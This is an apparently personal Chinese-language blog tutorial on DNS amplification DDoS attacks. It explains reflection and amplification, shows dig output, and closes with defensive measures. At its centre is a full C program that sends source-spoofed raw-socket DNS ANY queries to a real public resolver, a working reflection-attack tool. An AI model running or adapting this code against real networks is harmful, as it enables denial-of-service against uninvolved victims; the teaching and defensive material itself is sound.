DNS Amplification Attack

摘要

DNS Amplification Attack 是一种基于反射的DDoS攻击,攻击者借助DNS服务器,产生更大的流量让目标服务器或网络瘫痪,从而达到拒绝服务的效果。

DDoS 的分类

根据攻击目标和所属的层次,可以将 DDoS 攻击大体分为三类:

  1. 针对网络带宽资源的DDoS攻击,如ICMP Flood、UPD Flood、DNS Amplification Attack。
  2. 针对连接资源的DDoS攻击,如Slow Attack。
  3. 针对计算资源的攻击DDoS,如SYN Flood。

其实这样分类并不一定准确,如ICMP Flood、UPD Flood也可能耗尽计算资源,SYN Flood也可能耗尽带宽资源。针对网络带宽的DDoS攻击是最古老而常见的一种DDoS攻击方式,DNS Amplification Attack就是其中一种。无论是服务器的网络接口带宽,还是路由器、交换机等互联网基础设施的数据包处理能力,都是存在着事实上的上限的。当到达或通过的网络数据包数量超过了这个上限时,就会出现网络拥堵、响应缓慢的情况。针对网络带宽资源的DDoS攻击就是根据该原理,利用广泛分布的僵尸主机发送大量的网络数据包,占满被攻击目标的全部带宽,从而使正常的请求无法得到及时有效的响应,造成拒绝服务。

DDoS 反射攻击

攻击者可以使用 Ping Flood、UDP Flood等方式直接对被攻击目标展开针对网络带宽资源的DDoS攻击,但这种方式不仅低效,还很容易被查到攻击的源头。虽然攻击者可以使用伪造源IP地址的方式进行隐藏,但更好的方式是使用DDoS反射攻击技术。DDoS反射攻击是指利用路由器、服务器等设施对请求产生应答,从而反射攻击流量并隐藏攻击来源的一种DDoS技术。

在进行DDoS反射攻击时,攻击者通过控制端控制大量僵尸主机发送大量的数据包。这些数据包的特别之处在于,其目的IP地址指向作为反射器的服务器、路由器等设施,而源IP地址则被伪造成被攻击目标的IP地址。反射器在收到数据包时,会认为该数据包是由被攻击目标所发来的请求,因此会将响应数据发送给被攻击目标。当大量的响应数据包涌向攻击目标时,就会造成拒绝服务攻击。发动DDoS反射攻击需要在互联网上找到大量的反射器,对于某些种类的反射攻击,这并不难实现。例如,对于ACK反射攻击,只需要找到互联网上开放TCP端口的服务器即可,而这种服务器在互联网上的存在是非常广泛的。相比于直接伪造源地址的DDoS攻击,DDoS反射攻击由于增加了一层反射步骤,更加难以追溯攻击来源。

1
DDoS反射攻击原理图

image

DDoS 放大攻击

DDoS放大攻击是DDoS反射攻击的一种特殊形式。简单的说,当使用的反射器对网络流量具有放大作用时,DDoS反射攻击就变成了DDoS放大攻击。不同之处在于反射器(放大器)所提供的网络服务需要满足一定条件。

  1. 响应数据量需要大于请求数据量。
1
响应数据量与请求数据量的比值越大,放大器的放大倍数也就越大,进行DDoS放大攻击的效果也就越明显。
  1. 使用无需认证或握手的协议。
1
DDoS放大攻击需要将请求数据的源IP地址伪造成被攻击目标的IP地址,如果使用的协议需要进行认证或者握手,则该认证或握手过程没有办法完成,也就不能进行下一步的攻击。因此,绝大多数的DDoS放大攻击都是用基于UDP协议的网络服务进行攻击。
  1. 使用广泛部署的网络服务。
1
如果存在某些网络服务,不需要进行认证并且放大效果非常好,但是在互联网上部署的数量很少,那么利用该网络服务进行放大也不能打出很大的流量,达不到DDoS攻击的效果,这种网络服务也就不具备作为DDoS放大攻击放大器的价值。比如NTP协议,只能作为辅助手段增大攻击流量。

DNS Amplification Attack

DNS Amplification Attack是一种针对网络带宽资源的DDoS放大(反射)攻击, 攻击者利用普通的DNS查询请求就能够将攻击流量放大2到10倍。

1
2
3
4
5
// 在这里,发出去的数据帧大小是66字节,而收到的数据帧却有246字节
dig any qq.com @114.114.114.114
75 4.816483 10.0.47.204 114.114.114.114 DNS 66 Standard query 0x5ce7 ANY qq.com
76 4.851260 114.114.114.114 10.0.47.204 DNS 246 Standard query response 0x5ce7 ANY qq.com A 58.60.9.21 A 59.37.96.63 A 180.163.26.39 MX 30 mx1.qq.com MX 10 mx3.qq.com MX 20 mx2.qq.com NS ns2.qq.com NS ns1.qq.com NS ns4.qq.com NS ns3.qq.com

在没有EDNS0以前,对DNS查询的响应数据包被限制在512字节以内。当需要应答的数据包超过512字节时,根据DNS服务实现的不同,可能会丢弃超过512字节的部分,也可能会使用TCP协议建立连接并重新发送。无论是哪种方式,都不利于进行DNS放大攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 被丢弃了
Euphie-MacBook-Air:~ Euphie$ dig any txt1.euphie.me @114.114.114.114
; <<>> DiG 9.8.3-P1 <<>> any txt1.euphie.me @114.114.114.114
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2257
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;txt1.euphie.me. IN ANY
;; Query time: 36 msec
;; SERVER: 114.114.114.114#53(114.114.114.114)
;; WHEN: Mon Nov 5 21:54:10 2018
;; MSG SIZE rcvd: 32
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 被截断,要求TCP重连
Euphie-MacBook-Air:~ Euphie$ dig any txt1.euphie.me @8.8.4.4
;; Truncated, retrying in TCP mode.
; <<>> DiG 9.8.3-P1 <<>> any txt1.euphie.me @8.8.4.4
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64756
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;txt1.euphie.me. IN ANY
;; ANSWER SECTION:
txt1.euphie.me. 599 IN TXT "DyfNY2yWbhpLFeuTK0JhKEiPSvw7QBbj2VblZCQ5foAVmm6S7SaEwFwHS3n8wuSsu50xJbf2Mah6swATF1coms2lJ9A8gINA3DBuEhyFGhUITOiU1amJI834gu1rynGxIXTstr8PvbTVzfooCKAKWBZMSHdz0X7dZECIw0RZ9VVaWH8aXFJ5bxQqIKgee5ihhE9Nj8gHElIGRwXZlVCMeiEY5amth3sus8cTRe1LwN3V8YxjM0kQAiN8uJVxd9X" "DllKB71HG0GsTImYPpHLgIzPiqcKphuM2ZjVg3nIwyhy1ypuxxX8Z3sraTq4oA5doHzJtqjAlLPRfA4NdmkBP49NoDt0L18XYX9oE1Z7fDW84TyTaBNUIcNBge6R9kFxTISf8ZDQhZEj5Nb16HbKvz3kMBPP8uFHccCMKrBXTCGm9Gji8n6cjjNraRLMTYF2rOvdAOOlUOnarB81DtKDx1pCE2CVXls1XUm5rVpFSOqG7W4sJ4CleViaNBZFFA5" "Ww"
txt1.euphie.me. 599 IN TXT "yrD6pC2Dvka22a0pp87ClszWJjO6es9HykhlkWhDs8iAVSX69bdSrL22DFhE3USjl6LGnFA1DXBXaIjRuLH0h7JjtjJKIjQHS0FkGGa3DXrFmUhzmiFlbJGQpDc13pi3pfH7qmjd9ICojWqbywSWDSWRZRzK6fG2TsKMTtWRNUabcD8Nn9oCh0YyLuiz8n5DmKRDpKjRFt31XmmCtq3LZNVBLyKUOmAred3fmf89s0I5UEg6EJSNFTu2GgH63eD" "d3ShkQuinfDrqeZQkLBu27NWsWGz0zr4cubNnIIhmmyJXlBLa0j4gS7qi5jHsjd9K2g96KsHm675tkE76cb6XThfw25MVo9WwdjcVjGW9BzVLgF91zs99qZ6IauRPnsMKqIqTmuBM9D4VPG8QimzfcSb3NYr5pvoypY0QYHuSLfVQl5kWiSGHF67SiJcYIxKdPxIt0Q32BPzgxoCGi9YrSPmhwYPPUkZ9KYjq5nhbnYzLOgpO2vyLRYjyQo0yUK" "3X"
txt1.euphie.me. 599 IN TXT "AQDCuSXg57asOQ9p6mQhSiQNqgyiQJjen5VTtoa4RKUW7Os7ULhDt6CyUYfkPkBbQiCT5Q41OWgqoL25Lhx4gx9wojnEdHPox2dHR3JLET26CMryOKN6YxmCdXVSbLqAa4mNnMbeSAmOIhnEFimlLJl69k7g8jzjfv80qTVrmmR8xbI2hok1kcXhi7GM8Vn7hDiaoD31kRf6pe5ySdAx14sp6s0iGHIKxoLYjR62hAN2P9ojyRnIMTT2t05HIJS" "bQsUGWEY2kHVbulFI0ZxVHgmvfuVGjXZIAO01a7em6MhOHBVvF27gDCi8xXXFnXezE7zwr3CceDB2YFQ9qRWBQEj1Gg2oFIP7FnqWoYD1IOCZYBMpCOCKGJ86wdNLKGtGqQV5cJDZazQSLMwEjdKxtQjWzfcNb44peYWnl8GkGBfCzRRRGzAZ2CekrY7A3N4IKv8LTCkuw96QwPjdFwXqxw4Yge3utgwlrJ3yMQ0YnrbeRn5PyIJR7ppRcBtIBM" "vB"
;; Query time: 84 msec
;; SERVER: 8.8.4.4#53(8.8.4.4)
;; WHEN: Mon Nov 5 21:52:24 2018
;; MSG SIZE rcvd: 1613

在EDNS0中扩展了DNS数据包的结构,增加了OPT RR字段。在OPT RR字段中,包含了客户端能够处理的最大UDP报文大小的信息。服务端在响应DNS请求时,解析并记录下客户端能够处理的最大UDP报文的大小,并根据该大小生成响应的报文。

1
DNS Amplification Attack示意图

image

实现

以下是DNS Amplification Attack在Mac OS下的C语言简单实现。主要用到了原始套接字(SOCK_RAW),SOCK_RAW是一种不同于SOCK_STREAM、SOCK_DGRAM的套接字,它实现于系统核心。利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。总体来说,SOCK_RAW可以处理普通的网络报文之外,还可以处理一些特殊协议报文以及操作IP层及其以上的数据。若设置IP_HDRINCL选项,SOCK_RAW可以操作IP头数据(也就是用户需用填充IP头及其以上的payload)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
//
// main.c
// dns-flood
//
// Created by Euphie on 2018/10/30.
// Copyright © 2018年 Euphie . All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DNS_NAME "qq.com"
#define SOURCE_IP "10.0.8.97"
#define DNS_SERVER "114.114.114.114"
// DNS头部
typedef struct
{
unsigned short id;
unsigned short flags;
unsigned short qcount;
unsigned short ans;
unsigned short auth;
unsigned short add;
} DNS_HEADER;
// DNS查询,其实一个QUESTION前面还包含了qname
typedef struct
{
unsigned short qtype;
unsigned short qclass;
} DNS_QUESTION;
// IP伪头,用来计算校验和
typedef struct
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t udp_length;
} PSEUDO_HEADER;
// 创建一个DNS头部
void create_dns_header(DNS_HEADER* dns)
{
dns->id = (unsigned short) htons(getpid());
dns->flags = htons(0x0100);
dns->qcount = htons(1);
dns->ans = 0;
dns->auth = 0;
dns->add = 0;
}
// www.google.com会变成3www6google3com
void format_dns_name(char* format, char* host)
{
int lock = 0 , i;
strcat((char*)host,".");
for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*format++ = i-lock;
for(;lock<i;lock++)
{
*format++=host[lock];
}
lock++;
}
}
*format++='\0';
}
// 计算校验和
unsigned short calculate_checksum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
//4.1.1. Header section format
//
//The header contains the following fields:
//
//1 1 1 1 1 1
//0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| ID |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| QDCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| ANCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| NSCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| ARCOUNT |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//4.1.2. Question section format
//
//The question section is used to carry the "question" in most queries,
//i.e., the parameters that define what is being asked. The section
//contains QDCOUNT (usually 1) entries, each of the following format:
//
//1 1 1 1 1 1
//0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| |
/// QNAME /
/// /
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| QTYPE |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
//| QCLASS |
//+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
void create_dns_data(char* dns_data, unsigned long* dns_data_len) {
// 设置DNS头部
DNS_HEADER* dns_header; // DNS头部
dns_header = (DNS_HEADER*)dns_data;
create_dns_header(dns_header);
// 设置DNS查询,一个查询包含qname、qtype和qclass
char* qname; // qname
char dns_name[100] = DNS_NAME;
qname =(char*)&dns_data[sizeof(DNS_HEADER)];
format_dns_name(qname, dns_name);
DNS_QUESTION* dns_question; // qtype和qclass
dns_question =(DNS_QUESTION*)&dns_data[sizeof(DNS_HEADER) + (strlen((const char*)qname) + 1)];
dns_question->qtype = htons(255);
dns_question->qclass = htons(1);
*dns_data_len = sizeof(DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(DNS_QUESTION);
}
// 通过UDP发送DNS查询
void query_with_udp_packet() {
// 创建DNS报文
char dns_data[1000];
unsigned long dns_data_len;
create_dns_data(dns_data, &dns_data_len);
// 准备查询
int fd;
struct sockaddr_in dest;
fd = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP);
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(DNS_SERVER); //dns servers
if( sendto(fd, (char*)dns_data, dns_data_len , 0 ,(struct sockaddr*)&dest,sizeof(dest)) < 0)
{
perror("sendto failed\n");
}
}
// 通过原始报文发送DNS查询
void query_with_raw_packet() {
// 数据报文的结构:IP头(20字节)+UDP头(8字节)+DNS报文
char datagram[4096];
// 定义一个IP头指针指向报文
struct ip *ip_header = (struct ip*) datagram;
// 创建DNS报文
char dns_data[1000];
unsigned long dns_data_len;
create_dns_data(dns_data, &dns_data_len);
memcpy(datagram + sizeof (struct ip) + sizeof(struct udphdr), dns_data, dns_data_len);
// 定义一个UDP头指针指向UDP报文位置,并设置UDP头
struct udphdr *udp_header = (struct udphdr *) (datagram + sizeof (struct ip));
udp_header->uh_dport = htons(53);
udp_header->uh_sport = htons(9999);
udp_header->uh_ulen = htons(sizeof(struct udphdr) + dns_data_len);
udp_header->uh_sum = 0;
// 目标地址结构
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(DNS_SERVER);
// 开始设置IP头
char source_ip[32];
strcpy(source_ip, SOURCE_IP);
ip_header->ip_hl = 5;
ip_header->ip_v = IPVERSION;
ip_header->ip_tos = IPTOS_PREC_ROUTINE;
ip_header->ip_len = sizeof (struct ip) + sizeof(struct udphdr) + dns_data_len;
ip_header->ip_id = htons(getpid());
ip_header->ip_off = 0;
ip_header->ip_ttl = MAXTTL;
ip_header->ip_p = IPPROTO_UDP;
ip_header->ip_src.s_addr = inet_addr (source_ip);
ip_header->ip_dst.s_addr = dest.sin_addr.s_addr;
ip_header->ip_sum = calculate_checksum((unsigned short *) datagram, ip_header->ip_len);
// 计算UDP校验和
PSEUDO_HEADER psd_header;
psd_header.source_address = ip_header->ip_src.s_addr;
psd_header.dest_address = ip_header->ip_dst.s_addr;
psd_header.placeholder = 0;
psd_header.protocol = IPPROTO_UDP;
psd_header.udp_length = htons(sizeof(struct udphdr) + dns_data_len);
int psize = (int)(sizeof(PSEUDO_HEADER) + sizeof(struct udphdr) + dns_data_len);
char* psd_data;
psd_data = malloc(psize);
memcpy(psd_data , (char*) &psd_header , sizeof ( PSEUDO_HEADER));
memcpy(psd_data + sizeof( PSEUDO_HEADER) , udp_header , sizeof(struct udphdr) + dns_data_len);
udp_header->uh_sum = calculate_checksum((unsigned short*) psd_data , psize);
int s;
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
perror("socket failed.\n");
}
const int on = 1;
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt failed.\n");
}
if (sendto (s, datagram, ip_header->ip_len , 0, (struct sockaddr *) &dest, sizeof (dest)) < 0)
{
perror("sendto failed.\n");
}
}
int main() {
// query_with_udp_packet();
int i;
for(i=0; i< 10; i++) {
query_with_raw_packet();
sleep(1);
}
printf("done.\n");
}

防护

  • 对开放DNS服务的设备进行防护
  1. 如非必要,则应该关闭这些服务。
  2. 尽量只响应内部请求。
  3. 丢弃超大的响应数据包。
  • 对伪造源IP地址的数据包进行过滤
1
攻击者能够发送伪造源IP地址的数据包,这是针对网络带宽资源的DDoS攻击能够产生的根本原因。通过伪造源IP地址,不仅能够发动反射DDoS反射攻击和DDoS放大攻击,还能够有效的隐藏攻击来源,降低攻击者面临的风险。能够对伪造源IP地址的数据包进行过滤,使其不能进入到互联网中,就能够从根本上解决针对网络带宽资源的DDoS攻击问题。
  • 使用Anycast技术对攻击流量进行稀释和清洗
1
使用Anycast技术进行防护是一种可行的方案。通过使用Anycast技术,可以有效的将攻击流量有效分散到不同地点的清洗中心进行清洗。在正常环境下,这种方式能够保证用户的请求数据被路由到最近的清洗中心,当发生DDoS攻击时,这种方式能够将攻击流量有效的稀释到防护方的网络设施中。此外,每一个清洗中心都声明了相同的IP地址,攻击流量不会向单一位置聚集,攻击情况从多对一转变为多对多,网络中就不会出现单点瓶颈。在攻击流量被稀释之后,清洗中心对流量进行常规的清洗和阻断就变得相对容易了。
Share